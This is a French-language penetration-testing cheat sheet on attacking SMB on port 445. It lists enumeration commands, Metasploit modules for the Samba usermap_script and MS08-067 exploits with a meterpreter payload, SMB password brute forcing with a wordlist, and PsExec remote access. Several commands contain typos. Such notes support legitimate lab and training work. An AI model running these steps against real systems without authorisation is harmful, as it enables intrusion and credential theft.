SMB - 445

1. Liste de commandes basiques

Nmap Command

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.76.169

SMBClient :

Lister fichiers contenu dans une répertoire partagé samba

smbclient -L <ip> -N

Se connecter au répertoire partagé samba

smbclient \\\\<ip>\\(Nom du dossier partagé)

SMBMap:

smbmap -H 10.10.167.97
  • Enumérer les sous dossiers et fichier d'un dossier ciblé

smbmap -R Replication -H 10.10.10.100 

Enumération et récupération des fichiers dans un share

smbget -R smb://192.168.106.71/share

smbmap -H 192.168.106.71 -r 'share'

2. Enumération Serveur Samba

Vous pouvez faire de l'énumération sur une machine en utilisant l'outils Enum4Linux:

apt install enum4linux
enum4linux -a <IP>

3. Exploitation d’un serveur Samba mal configuré avec Metasploit :

msfconsole 
msf > search scanner/samba
msf > use auxiliary/scanner/smb/smb_version
Astuce :  Vous pouvez effectuer beaucoup d’autres scans sur le serveur samba, il suffit d’utiliser cette commande : use auxiliary/scanner/smb/(nom du scan)
msf > msfauxiliary(smb_version) > set RHOSTS <ip victime>
msf> use exploit/multi/samba/usermap_script
SET HOSTS AND PORT“
run” ou “exploit”

4. Brute Force smb avec Metasploit :

  • msfconsole

  • use auxiliary/scanner/smb/smb_login

  • set rhosts 192.168.55.248s

  • et pass_file <wordlist>s

  • et smbuser <username>

  • set stop_on_success true

5. Exploitation du service samba

5.1 SMBClient

Quand vous avez réussi à obtenir des identifiants et mots de passes vous pouvez tenter d'exploiter le service.

Tout d'abord allons fouiller dans les différents répertoires partagés (utilisation impacket) :

python3 smbclient.py <IP>
Astuce : tapez help pour voir la liste de commande
use <nom_du_dossier_partagé> 
ls
get <your file>
NB : Le fichier que vous venez de télécharger se trouvera dans le me répertoire que celui où vous étiez quand vous avez lancer smbclient.

5.2 PSexec

La manière la plus populaire est d'utiliser la PSExec. A l’aide de PsExec, on peut établir une connexion distante et tenter des collecter plus d’infos sensibles voire envisager une escalation de privilège.

Comme dans la plupart des cas, metasploit a déjà un module qui va vous simplifier la tache :

Vous devriez avoir ensuite une session meterpreter.

Une autre façon peut être d'utiliser un exploit, voici ci dessous l'exploitation d'un serveur samba avec la ms08_067 (un buffer overflow).

Essayons d'abord de voir si la version de smb est vulnérable.

On découvre ici la présence d'une CVE: CVE-2008-4250 qui permettrait l'exécution de code arbitraire à distance via la modification d'une requête RPC qui entraine un buffer-overflow.

Nous avons encore une fois un module metasploit qui est disponible(je vous encourage malgré tout à utiliser le moins possible metasploit et à utiliser d'autre outils, lire les exploits et les comprendre).

set RHOST <IP>
set payload windows/meterpreter/bind_tcp
set target 72

Ici on fait attention à "Set" la bonne "Target" en utilisant la commande

show target

Cela va vous permettre de vérifier la configuration de la langue et du pack utilisé sur la machine victime.

On lance l'exploit et on arrive à avoir une session meterpreter toute bien.

Last updated